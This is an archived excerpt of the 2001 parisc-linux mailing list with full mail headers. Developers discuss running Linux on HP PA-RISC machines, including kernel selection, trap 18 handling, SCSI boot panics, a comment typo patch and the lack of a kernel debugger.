	for <parisc-linux@thepuffingroup.com>; Wed, 24 Jan 2001 09:38:10 +0100 (MET)
Original-Sender: christoph.plattner@alcatel.at
X-Mailer: Mozilla 4.76 [en] (X11; U; SunOS 5.5.1 sun4m)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:9355

Hello !

I have to problem to decide between parisc and parisc64.
How can I find out, what I have to take on a
Series 700 or 800 machine.

With friendly regards
	
	Christoph

-----------------------------------------------------------------
private:        christoph.plattner@dot.at
company:        christoph.plattner@alcatel.at


From - Thu Nov 08 21:15:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Plattner <christoph.plattner@alcatel.at>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] One more step: Interruption (trap) 18 on 9000/720
Date: Wed, 24 Jan 2001 10:54:19 +0100
Organization: AAA
Lines: 117
Approved: news@gmane.org
Message-ID: <3A6EA64B.5875D07A@alcatel.at>
References: <200101240938.CAA25865@udlkern.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619582 11178 80.91.229.3 (22 Nov 2014 01:26:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:26:22 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: John Marvin <jsm@udlkern.fc.hp.com>
Original-X-From: christoph.plattner@alcatel.at  Wed Jan 24 02:54:04 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id CAA07523
	for <parisc-linux@puffin.external.hp.com>; Wed, 24 Jan 2001 02:54:03 -0700
Original-Received: (qmail 13640 invoked by uid 15267); 24 Jan 2001 09:57:57 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 13620 invoked from network); 24 Jan 2001 09:57:56 -0000
Original-Received: from atusks01.alcatel.at (HELO mail.alcatel.at) (212.183.9.130)
  by mailserv2.iuinc.com with SMTP; 24 Jan 2001 09:57:56 -0000
Original-Received: from alcatel.at (atusel33.aut.alcatel.at [146.112.129.215])
	by  mail.alcatel.at (8.9.3/8.9.3/1.20 01/12/01 22:50:08) with ESMTP id KAA16556;
	Wed, 24 Jan 2001 10:54:19 +0100 (MET)
Original-Sender: christoph.plattner@alcatel.at
X-Mailer: Mozilla 4.76 [en] (X11; U; SunOS 5.5.1 sun4m)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:9356

Thank you for the answer !

I will check that point and I hope my skills are high enough 
for all that.

Further, can you tell me, how to use and where I can find
the kernel debugger stuff. I am used to handle a modified
gdb debuging parts of chorus kernel (on intel machines) in
my job, so I think I should handle that. I saw (as far
this is right) that the kernel debug support is new in
2.4 kernel (partially 2.3) and I am interested in that, as
I often write device drivers (I also want use this for HP
and for intel).

The `strace' is not running with the new stuff. Will there 
be an update. (I tried the current CVS version, but I have
built probles. Many of them I tried to fix. But in process.c
there were problems in basic structures.

And now a very important question:
---------------------------------

You seem to be the right man asking this. I also have an
E55 server (9000/856) with those propriatary HP interfaces.
For me the SCSI controller and the 8-port serial multiplxer
(used for serial console on port-0) are the important
key points. Is there no possibility to get them running ??
Is there really no documentation, etc...

Can I use the PDC console as system console
(not to have "Switching from PDC console..."), so that
I can run Linux NFS based via the PDC console ?

I hope you can help.

With friendly regards

	Christoph




John Marvin wrote:
> 
> >
> > or whatever my first process is. I have instrumented the kernel code
> > and added the output of the code number (a good idea to have this
> > fix in the kernel !) and I saw:
> >
> >         code=18
> >
> > So I have the code 18 (decimal). In the PA RISC 1.1 manual (your link)
> > I saw following description:
> >
> >         18  Data memory protection trap / Unaligned data reference trap
> >
> > So what does this mean here. An alignment problem ?
> > Why is this code not handled in the switch/case ?
> >
> We have done very little testing on machines with PCXS processors. PCXS
> processors are the earliest cpu's that conformed to the PARISC 1.1
> architecture specification, and therefore are the earliest processors that
> we will probably ever support. Anything earlier was PARISC 1.0 based, and
> I doubt we will every support PARISC 1.0 based machines.
> 
> PCXS has a variety of unique differences from some of the later parisc
> cpu's, and you just ran into one of them. Trap type 18 was generated
> by PARISC 1.0 based cpu's primarily. PCXS is the only PARISC 1.1 cpu
> that generates this type of trap. Trap 18 was replaced by Trap 26,
> 27 & 28 in all later cpu's.  The reason is that a Trap 18 has three
> possible causes, and it was a lot better to have three different traps
> for those different causes. Those three causes are:
> 
>     Data Memory Access Rights Trap (Now trap type 26)
>     Data Memory Protection Id Trap (Now trap type 27)
>     Unaligned Data Reference Trap  (Now trap type 28)
> 
> So, the correct fix is going to require code that can test for each of
> these three possibilities, and then do the right thing (e.g. an
> unaligned fault can be checked for by using the iir to determine the
> access size, and then comparing that to the ior to see if the address
> is properly aligned).
> 
> However, there may be a quick workaround you can try.  Currently we don't
> enable protection id checking (we will eventually), so it should be
> impossible to get a Data Memory Protection Id Trap.  In most cases we
> should only get an Unaligned Data Reference Trap if there is a bug.
> However there is a known bug right now (a fix is in progress) in the
> pthreads support which might cause this trap to be generated on a PCXS
> processor.  The only trap that should happen in the normal execution of
> the kernel is a Data Memory Access Rights Trap, which will happen every
> time there is a copy-on-write fault.
> 
> So, the quick workaround might be to just add a "case 18" where you
> find "case 15" and "case 26" in handle_interruption. The problem with
> this workaround is that if you do get an Unaligned Data Reference
> fault you will just hang the kernel, because you will keep calling
> do_page_fault() for a problem that do_page_fault() can't fix.
> 
> > I always use (I think the 32bit code). Have I set to a parisc64 ?
> > How can I influence this ?
> > Which kind of CPU is this in the 720 model ? (I know a 50MHz PA RISC ..)
> >
> 
> PARISC 1.1 processors are incapable of running in 64 bit mode. As I
> mentioned above the processor in a 720 is a PCXS processor. PCXS is
> the internal name for a PA7000 processor.
> 
> John Marvin
> jsm@fc.hp.com

-- 
  +--------V--------+	Christoph.Plattner@alcatel.at
  |  A L C A T E L  |	-----------------------------
  +-----------------+	Phone: +43 1 27722 3706	
         T A S		Fax:   +43 1 27722 3955


From - Thu Nov 08 21:15:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Kernel Swapping yet?
Date: Wed, 24 Jan 2001 10:55:08 +0000
Lines: 17
Approved: news@gmane.org
Message-ID: <20010124105507.D3571@linuxcare.com>
References: <20010122104912.B56158@athena.louisville.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619582 11179 80.91.229.3 (22 Nov 2014 01:26:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:26:22 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: "Phillip D. Beal" <pdbeal@louisville.edu>
Original-X-From: rhirst@linuxcare.com  Wed Jan 24 04:02:41 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id EAA09730
	for <parisc-linux@puffin.external.hp.com>; Wed, 24 Jan 2001 04:02:40 -0700
Original-Received: (qmail 10281 invoked by uid 15267); 24 Jan 2001 11:06:34 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 10272 invoked from network); 24 Jan 2001 11:06:34 -0000
Original-Received: from pc188-bre9.cable.ntl.com (HELO rhirst.linuxcare.com) (213.105.88.188)
  by mailserv2.iuinc.com with SMTP; 24 Jan 2001 11:06:34 -0000
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 574B3B005; Wed, 24 Jan 2001 10:55:08 +0000 (GMT)
X-Mailer: Mutt 1.0us
In-Reply-To: <20010122104912.B56158@athena.louisville.edu>; from pdbeal@louisville.edu on Mon, Jan 22, 2001 at 10:49:12AM -0500
Xref: news.gmane.org gmane.linux.ports.parisc:9357

On Mon, Jan 22, 2001 at 10:49:12AM -0500, Phillip D. Beal wrote:
> Hey,
> 
> I've been playing around with the 715 I got to boot, and I've found an
> odd occurance.  If I open an existing file with vi, and hit escape the
> kernel crashes.  It doesn't matter if the file is locally or on a remote
> system it does it either way.  So, I remeber the instructions from the
> PA-Linux 0.1 CD saying the kernel isn't useing the swap space yet.  Is
> this still true? I know the problem is not vi because the kernel dies
> even if I use vi on the remote system.  The PARISC system dies when I go
> to hit ESC to exit insert mode of vi.

I don't recall ever seeing that problem on my 715/75.  What kernel and
userspace are you using?

Richard


From - Thu Nov 08 21:15:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] parisc vs. parisc64
Date: Wed, 24 Jan 2001 13:53:22 +0000
Lines: 14
Approved: news@gmane.org
Message-ID: <20010124135322.A4836@parcelfarce.linux.theplanet.co.uk>
References: <3A6E9471.BB5A67EF@alcatel.at>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619582 11181 80.91.229.3 (22 Nov 2014 01:26:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:26:22 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Christoph Plattner <christoph.plattner@alcatel.at>
Original-X-From: willy@www.linux.org.uk  Wed Jan 24 06:49:39 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id GAA10838
	for <parisc-linux@puffin.external.hp.com>; Wed, 24 Jan 2001 06:49:38 -0700
Original-Received: (qmail 1260 invoked by uid 15267); 24 Jan 2001 13:53:32 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 1244 invoked from network); 24 Jan 2001 13:53:32 -0000
Original-Received: from parcelfarce.linux.theplanet.co.uk (HELO www.linux.org.uk) (195.92.249.252)
  by mailserv2.iuinc.com with SMTP; 24 Jan 2001 13:53:32 -0000
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14LQMU-0001Qy-00; Wed, 24 Jan 2001 13:53:22 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2i
In-Reply-To: <3A6E9471.BB5A67EF@alcatel.at>; from christoph.plattner@alcatel.at on Wed, Jan 24, 2001 at 09:38:09AM +0100
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:9358

On Wed, Jan 24, 2001 at 09:38:09AM +0100, Christoph Plattner wrote:
> Hello !
> 
> I have to problem to decide between parisc and parisc64.
> How can I find out, what I have to take on a
> Series 700 or 800 machine.

parisc64 is for the 64-bit processors _only_.  Note that most 64-bit
processors will also run a 32-bit kernel.  The only machines which need to
run a 64-bit kernel are those which have PAT PDC -- ie L class and A500.

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:15:20 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Marek GROSSMAN <grossman@nspuh.cz>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Boot from tape
Date: Wed, 24 Jan 2001 15:07:34 +0100
Organization: NsP Uh.Hradiste
Lines: 9
Approved: news@gmane.org
Message-ID: <3A6EE1A6.D21F249F@nspuh.cz>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-2
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619583 11182 80.91.229.3 (22 Nov 2014 01:26:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:26:23 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: grossman@nspuh.cz  Wed Jan 24 07:02:51 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id HAA11255
	for <parisc-linux@puffin.external.hp.com>; Wed, 24 Jan 2001 07:02:46 -0700
Original-Received: (qmail 17362 invoked by uid 15267); 24 Jan 2001 14:06:40 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 17301 invoked from network); 24 Jan 2001 14:06:38 -0000
Original-Received: from bsduh.nspuh.cz (193.165.210.209)
  by mailserv2.iuinc.com with SMTP; 24 Jan 2001 14:06:38 -0000
Original-Received: from hpuh.nspuh.cz (root@hpuh.nspuh.cz [200.200.200.15])
	by bsduh.nspuh.cz (8.9.3/8.9.3/Debian/GNU) with ESMTP id PAA27558
	for <parisc-linux@thepuffingroup.com>; Wed, 24 Jan 2001 15:06:34 +0100
Original-Received: from nspuh.cz (pc033 [200.200.200.133]) by hpuh.nspuh.cz with ESMTP (8.8.6 (PHNE_14041)/8.7.1) id PAA12721 for <parisc-linux@thepuffingroup.com>; Wed, 24 Jan 2001 15:06:56 +0100 (MET)
X-Mailer: Mozilla 4.75 [en] (WinNT; U)
X-Accept-Language: cs,en
X-Antivirus: Avast32 (VPS 2.11.2000), Outbound message
X-Antivirus-Status: Clean
Xref: news.gmane.org gmane.linux.ports.parisc:9359

Hello.

Can I boot Linux on the E55 server from a tape?
How can I make the tape.

Thanks
-- 
Mareg


From - Thu Nov 08 21:15:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Phillip D. Beal" <pdbeal@louisville.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Kernel Swapping yet?
Date: Wed, 24 Jan 2001 10:35:52 -0500
Lines: 27
Approved: news@gmane.org
Message-ID: <20010124103552.A160226@athena.louisville.edu>
References: <20010122104912.B56158@athena.louisville.edu> <20010124105507.D3571@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619583 11183 80.91.229.3 (22 Nov 2014 01:26:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:26:23 +0000 (UTC)
To: Richard Hirst <rhirst@linuxcare.com>, parisc-linux@thepuffingroup.com
Original-X-From: pdbeal@louisville.edu  Wed Jan 24 08:32:39 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id IAA12032
	for <parisc-linux@puffin.external.hp.com>; Wed, 24 Jan 2001 08:32:38 -0700
Original-Received: (qmail 18457 invoked by uid 15267); 24 Jan 2001 15:36:27 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 18437 invoked from network); 24 Jan 2001 15:36:27 -0000
Original-Received: from erouter1.it-datacntr.louisville.edu (136.165.1.15)
  by mailserv2.iuinc.com with SMTP; 24 Jan 2001 15:36:27 -0000
Original-Received: from athena.louisville.edu (athena.louisville.edu [136.165.1.37])
	by erouter1.it-datacntr.louisville.edu (Postfix) with ESMTP
	id 62A9122E19; Wed, 24 Jan 2001 10:36:26 -0500 (EST)
Original-Received: by athena.louisville.edu (Postfix, from userid 43478)
	id 87A36CA0; Wed, 24 Jan 2001 10:35:52 -0500 (EST)
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20010124105507.D3571@linuxcare.com>; from rhirst@linuxcare.com on Wed, Jan 24, 2001 at 10:55:08AM +0000
Xref: news.gmane.org gmane.linux.ports.parisc:9360

On Wed, Jan 24, 2001 at 10:55:08AM +0000, Richard Hirst wrote:
> On Mon, Jan 22, 2001 at 10:49:12AM -0500, Phillip D. Beal wrote:
> > Hey,
> > 
> > I've been playing around with the 715 I got to boot, and I've found an
> > odd occurance.  If I open an existing file with vi, and hit escape the
> > kernel crashes.  It doesn't matter if the file is locally or on a remote
> > system it does it either way.  So, I remeber the instructions from the
> > PA-Linux 0.1 CD saying the kernel isn't useing the swap space yet.  Is
> > this still true? I know the problem is not vi because the kernel dies
> > even if I use vi on the remote system.  The PARISC system dies when I go
> > to hit ESC to exit insert mode of vi.
> 
> I don't recall ever seeing that problem on my 715/75.  What kernel and
> userspace are you using?

A build from the 20010109 CVS that I downloaded via CVS.  However, I'm
still using the filesystem from tha palinux-0.5 CD.  the problem only
happens when I use the physical console on the 715/80.  If I use the
Serial login, the kernel does not die.

-- 
Phillip Beal                           ___           _               _   
Electrical and Computer Engineering   | _ ) ___ __ _| |___  _ _  ___| |_ 
pdbeal@louisville.edu                 | _ \/ -_) _` | |_ /_| ' \/ -_)  _|
http://www.bealz.net/                 |___/\___\__,_|_/__(_)_||_\___|\__|


From - Thu Nov 08 21:15:20 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Greg Ingram <ingram@symsys.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] C100 and newest CVS bits
Date: Wed, 24 Jan 2001 09:43:32 -0600 (CST)
Lines: 33
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0101240937380.25434-100000@maestro.symsys.com>
References: <20010120115417.4CD28D1585@mail.esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619583 11187 80.91.229.3 (22 Nov 2014 01:26:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:26:23 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: ingram@symsys.com  Wed Jan 24 08:39:39 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id IAA12378
	for <parisc-linux@puffin.external.hp.com>; Wed, 24 Jan 2001 08:39:39 -0700
Original-Received: (qmail 30274 invoked by uid 15267); 24 Jan 2001 15:43:33 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 30247 invoked from network); 24 Jan 2001 15:43:32 -0000
Original-Received: from maestro.symsys.com (root@208.223.9.37)
  by mailserv2.iuinc.com with SMTP; 24 Jan 2001 15:43:32 -0000
Original-Received: from localhost (ingram@localhost)
	by maestro.symsys.com (8.9.3/8.9.3) with ESMTP id JAA25460
	for <parisc-linux@thepuffingroup.com>; Wed, 24 Jan 2001 09:43:32 -0600
In-Reply-To: <20010120115417.4CD28D1585@mail.esiee.fr>
Xref: news.gmane.org gmane.linux.ports.parisc:9361


I checked out the newest CVS bits and built a new kernel that dies on my
C100.  Serial console seems to be working better though.  It's dying in or
right after the SCSI setup.  The tail of the boot messages is below.  Both
of my disks were working with an earlier kernel.  Any suggestions?

- Greg

SCSI subsystem driver Revision: 1.00
sim700: Configuring 53c710 (SCSI-ID 7) at ffd06100, IRQ 86, options 0
scsi0: Revision 0x2
Post test1, istat 01, sstat0 00, dstat 84
sim700: WARNING IRQ probe failed, (returned 0)
scsi0: Good, target data areas are dma coherent
scsi0: test 1 completed ok.
scsi0 : LASI/Simple 53c7xx
  Vendor: SEAGATE   Model: ST11200N SUN1.05  Rev: 8358
  Type:   Direct-Access                      ANSI SCSI revision: 02
zalon_scsi_callback: Zalon vers field is 0x1, IRQ 34
ncr53c8xx: 53c720 detected
ncr53c720-0: ID 7, Fast-10, Parity Checking, Differential
ncr53c720-0: restart (scsi reset).
scsi1 : ncr53c8xx - version 3.3b
  Vendor: SEAGATE   Model: ST32430W          Rev: HP05
  Type:   Direct-Access                      ANSI SCSI revision: 02
ncr53c720-0-<6,0>: tagged command queue depth set to 8
Detected scsi disk sda at scsi0, channel 0, id 0, lun 0
Detected scsi disk sdb at scsi1, channel 0, id 6, lun 0
 
ccio-dma.c:738: Assertion size > 0 failed!
Kernel panic: size > 0                                                          



From - Thu Nov 08 21:15:20 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Greg Ingram <ingram@symsys.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH] typo fix
Date: Wed, 24 Jan 2001 09:46:40 -0600 (CST)
Lines: 19
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0101240943360.25434-100000@maestro.symsys.com>
References: <20010120115417.4CD28D1585@mail.esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619583 11188 80.91.229.3 (22 Nov 2014 01:26:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:26:23 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: ingram@symsys.com  Wed Jan 24 08:42:50 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id IAA12522
	for <parisc-linux@puffin.external.hp.com>; Wed, 24 Jan 2001 08:42:49 -0700
Original-Received: (qmail 3389 invoked by uid 15267); 24 Jan 2001 15:46:40 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 3369 invoked from network); 24 Jan 2001 15:46:40 -0000
Original-Received: from maestro.symsys.com (root@208.223.9.37)
  by mailserv2.iuinc.com with SMTP; 24 Jan 2001 15:46:40 -0000
Original-Received: from localhost (ingram@localhost)
	by maestro.symsys.com (8.9.3/8.9.3) with ESMTP id JAA25471
	for <parisc-linux@thepuffingroup.com>; Wed, 24 Jan 2001 09:46:40 -0600
In-Reply-To: <20010120115417.4CD28D1585@mail.esiee.fr>
Xref: news.gmane.org gmane.linux.ports.parisc:9362


That patch I sent last week has a letter O instead of a zero in the 'C100'
string in the comment.  Only one.  What were my fingers doing?

--- ccio-dma.c.orig	Wed Jan 24 09:39:22 2001
+++ ccio-dma.c	Wed Jan 24 09:39:38 2001
@@ -1523,7 +1523,7 @@
 ** that can't be detected by PA/EISA/PCI bus walks.
 */
 	switch((unsigned long)d->hpa) {
-        case 0xf5fbf000L:       /* C1O0 (wild guess!) */
+        case 0xf5fbf000L:       /* C100 (wild guess!) */
 	case 0xf3fbf000L:       /* C110 IOA0 LBC (aka GSC port) */
 	case 0xf7fbf000L:       /* C110 IOA0 LBC (aka GSC port) */
 	case 0xf203f000L:       /* C180/C200/240/C360 IOA0 LBC (aka GSC port) */

- Greg



From - Thu Nov 08 21:15:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Plattner <christoph.plattner@alcatel.at>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Boot from tape
Date: Wed, 24 Jan 2001 17:29:38 +0100
Organization: AAA
Lines: 41
Approved: news@gmane.org
Message-ID: <3A6F02F2.3C4A137C@alcatel.at>
References: <3A6EE1A6.D21F249F@nspuh.cz>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619584 11193 80.91.229.3 (22 Nov 2014 01:26:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:26:24 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com, christoph.plattner@dot.at
To: Marek GROSSMAN <grossman@nspuh.cz>
Original-X-From: christoph.plattner@alcatel.at  Wed Jan 24 09:26:17 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id JAA13243
	for <parisc-linux@puffin.external.hp.com>; Wed, 24 Jan 2001 09:26:06 -0700
Original-Received: (qmail 13901 invoked by uid 15267); 24 Jan 2001 16:29:56 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 13880 invoked from network); 24 Jan 2001 16:29:56 -0000
Original-Received: from atusks01.alcatel.at (HELO mail.alcatel.at) (212.183.9.130)
  by mailserv2.iuinc.com with SMTP; 24 Jan 2001 16:29:56 -0000
Original-Received: from alcatel.at (atusel33.aut.alcatel.at [146.112.129.215])
	by  mail.alcatel.at (8.9.3/8.9.3/1.20 01/12/01 22:50:08) with ESMTP id RAA06440;
	Wed, 24 Jan 2001 17:29:38 +0100 (MET)
Original-Sender: christoph.plattner@alcatel.at
X-Mailer: Mozilla 4.76 [en] (X11; U; SunOS 5.5.1 sun4m)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:9363

How can you run Linux ?
I thought, HP E55 (9000/856) is not full supported, as
the SCSI driver and the serial multiplexer (8-port serial,
where my console is configured to port 0) is not supported
(no driver !).
Or is there any, and I don't know it ??

If there is no driver, which console do you use ?

Do you really speak about the PA-RISC version of the E55
(modell 9000/856) or the new intel-PC server ?

Please remail !

With friendly regards

	Christoph

PS: I would like to use my E55 server under Linux ....

Marek GROSSMAN wrote:
> 
> Hello.
> 
> Can I boot Linux on the E55 server from a tape?
> How can I make the tape.
> 
> Thanks
> --
> Mareg
> 
> ---------------------------------------------------------------------------
> To unsubscribe: send e-mail to parisc-linux-request@thepuffingroup.com with
> `unsubscribe' as the subject.

-- 
  +--------V--------+	Christoph.Plattner@alcatel.at
  |  A L C A T E L  |	-----------------------------
  +-----------------+	Phone: +43 1 27722 3706	
         T A S		Fax:   +43 1 27722 3955


From - Thu Nov 08 21:15:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] One more step: Interruption (trap) 18 on 9000/720
Date: Wed, 24 Jan 2001 08:50:12 -0800
Lines: 32
Approved: news@gmane.org
Message-ID: <200101241650.IAA20897@milano.cup.hp.com>
References: <3A6EA64B.5875D07A@alcatel.at>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619584 11206 80.91.229.3 (22 Nov 2014 01:26:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:26:24 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Christoph Plattner <christoph.plattner@alcatel.at>
Original-X-From: grundler@cup.hp.com  Wed Jan 24 09:44:59 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id JAA13687
	for <parisc-linux@puffin.external.hp.com>; Wed, 24 Jan 2001 09:44:58 -0700
Original-Received: (qmail 16087 invoked by uid 15267); 24 Jan 2001 16:48:50 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 15996 invoked from network); 24 Jan 2001 16:48:48 -0000
Original-Received: from palrel1.hp.com (156.153.255.242)
  by mailserv2.iuinc.com with SMTP; 24 Jan 2001 16:48:48 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel1.hp.com (Postfix) with ESMTP
	id 6C0D11D69; Wed, 24 Jan 2001 08:48:40 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id IAA20897;
	Wed, 24 Jan 2001 08:50:14 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Wed, 24 Jan 2001 10:54:19 PST."
             <3A6EA64B.5875D07A@alcatel.at> 
Xref: news.gmane.org gmane.linux.ports.parisc:9364

Christoph Plattner wrote:
> Further, can you tell me, how to use and where I can find
> the kernel debugger stuff.

There is no kernel debugger (yet). I started working on one last year
based on "KWDB" from HPUX. I've added the kernel hooks (CONFIG_KWDB).
But I (a) didn't get it working and (b) didn't get permission to publish
the KWDB base. My advice is for someone to take the SGI KDB and make it
work for parisc-linux and changing CONFIG_KWDB to CONFIG_KDB.

...
> And now a very important question:
> ---------------------------------
> 
> You seem to be the right man asking this. I also have an
> E55 server (9000/856) with those propriatary HP interfaces.
> For me the SCSI controller and the 8-port serial multiplxer
> (used for serial console on port-0) are the important
> key points. Is there no possibility to get them running ??
> Is there really no documentation, etc...

This is explained in the FAQ or HWDB "introduction" someplace.
Someone *in* HP has to care enough to review the documentation
and get it past the lawyers. I don't. Search the parisc-linux
mail archive for "SPIFI" if you want more...

grant

Grant Grundler
Unix Systems Enablement Lab
+1.408.447.7253


From - Thu Nov 08 21:15:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
